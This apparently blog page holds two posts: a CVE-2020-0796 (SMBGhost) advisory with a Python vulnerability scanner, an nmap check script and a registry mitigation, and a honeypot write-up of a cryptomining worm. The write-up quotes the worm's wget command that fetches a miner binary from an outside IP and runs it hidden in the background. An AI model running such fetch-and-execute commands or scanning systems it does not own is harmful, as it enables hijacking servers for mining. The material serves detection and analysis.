CVE-2020-0796:疑似微软SMBv3协议“蠕虫级”漏洞的检测与修复 网络安全
0x1:背景
2020年3月11日,海外厂家发布安全规则通告,通告中描述了一处微软SMBv3协议的内存破坏漏洞,编号CVE-2020-0796,并表示该漏洞无需授权验证即可被远程利用,可能形成蠕虫级漏洞。
0x2:受影响版本
Windows 10版本1903(用于32位系统)
Windows 10版本1903(用于基于ARM64的系统)
Windows 10版本1903(用于基于x64的系统)
Windows 10版本1909(用于32位系统)
Windows 10版本1909(用于基于ARM64的系统)
Windows 10版本1909(用于)基于x64的系统
Windows Server 1903版(服务器核心安装)
Windows Server 1909版(服务器核心安装)
0x3:漏洞检测复现
如上图所示,在未停用 SMBv3 中的压缩功能时,我的测试机器win10 1909 18363.719是存在漏洞的,在powershell停用 SMBv3 中的压缩功能后,再次检测就不存在了,暂时只有这个缓解措施,还没有补丁。
0x4:漏洞检测工具
python版本
来源:https://github.com/ollypwn/SMBGhost/blob/master/scanner.py
import socket import struct import sys pkt = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00' sock = socket.socket(socket.AF_INET) sock.settimeout(3) sock.connect(( sys.argv[1], 445 )) sock.send(pkt) nb, = struct.unpack(">I", sock.recv(4)) res = sock.recv(nb) if not res[68:70] == b"\x11\x03": exit("Not vulnerable.") if not res[70:72] == b"\x02\x00": exit("Not vulnerable.") exit("Vulnerable.")
nmap版本:
#!/bin/bash if [ $# -eq 0 ] then echo $'Usage:\n\tcheck-smb-v3.11.sh TARGET_IP_or_CIDR {Target Specification - Nmap}' exit 1 fi echo "Checking if there's SMB v3.11 in" $1 "..." nmap -p445 --script smb-protocols -Pn -n $1 | grep -P '\d+\.\d+\.\d+\.\d+|^\|.\s+3.11' | tr '\n' ' ' | tr 'Nmap scan report for' '@' | tr "@" "\n" | tr '|' ' ' | tr '_' ' ' | grep -oP '\d+\.\d+\.\d+\.\d+' if [[ $? != 0 ]]; then echo "There's no SMB v3.11" fi
0x5:漏洞缓解措施
powershell 中运行如下命令:
# 停用 Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force # 恢复 Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 0 -Force
0x6:漏洞修复
微软昨日发布了更新补丁,下载地址:
https://www.catalog.update.microsoft.com/Search.aspx?q=KB4551762
也可以自行在Windows的更新管理界面手动更新,也可以更新下载补丁.
快上车-高清无码-蠕虫挖矿一例 杂七杂八
给大家分享网络空间里发家致富的一个野路子:蠕虫挖矿,套比特币等虚拟货币。下面这是我们捕获到的真实案例,门开了一条缝,更多的请自行探索,以免有带坏嫌疑。
今天凌晨,我们的蜜网系统跳出了个有趣的字符串:
ProtonMail!前段时间我们的分享(推荐安全且匿名的邮箱 ProtonMail)似乎暗示着某种巧合,这不得不引起我们的兴趣。意料之内,匿名是把双刃剑,剑的另一端,“匿名之恶”会让人性丑恶发挥到极致。
以前我说过,黑暗森林法则同样适用于这个网络空间:被发现即被干掉。不好意思,这次是我们“干掉”了对方。
上面这个字符串完整内容是:
(exec /var/tmp/.war/1 -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u [email protected] -p x &> /dev/null &)
我简单解释下这条 Bash 命令:
1.
exec,负责执行后面的命令,细节用途自行查阅。
2.
/var/tmp/.war/1,这个文件由下面这条命令创建:
wget http://95.128.182.166/javascripts/minerd -O /var/tmp/.war/1
3.
1 == minerd
4.
minerd 之后的参数:
-a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u [email protected] -p x
目测和比特币等这类货币的挖矿有关,因为:minergate.com 就是这样的邪恶挖矿大平台。合法存在。
5.
&> /dev/null
无视标准输出与错误输出。
6.
最后的 &,表示这条命令放到后台执行。
7.
最外层的小括号(),表示创建一个新的 Shell。
上面的7点解释,重点看第4点就好。
为了确定我们的“目测”,我们用我们唯一的官方邮箱“[email protected]”同样在 minergate.com 上注册了个账号。在这个平台深度体验一番,不得不感慨,挖矿的世界真是眼花缭乱,满地宝藏既视感。
这个平台上,我们发现下面这个挖矿说明链接:
https://minergate.com/altminers/cpuminer-multi-wolf
部分区域截图如下:
红框里的内容是:
minerd -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u [email protected] -p x
对比下上面的第4点,这下确定了吧?另外,这个 minerd 本身还是开源的...你可以根据自己的特殊要求修改编译。
好,回到开头,这个蠕虫其实不是什么新鲜玩意,传播的主要方式是通过 Linux 服务器的弱口令及一些漏洞(比如:Redis 那个未授权访问缺陷)。
这个蠕虫感染一万台服务器,那么就有一万个挖矿节点...
别说运用什么 0day,就是用到一些上古时代的技术,我们也能在这个健壮又脆弱的网络空间里成为“有钱人”。
还好,我们不是坏人。
这个案例够清晰吧?还想看到更多的吗?经过“懒人在思考”的白话润色,保证你即使不懂技术,也能涨姿势。
网络空间,这个巨型大脑,真美...
注:转载自余玄大大的微信公众号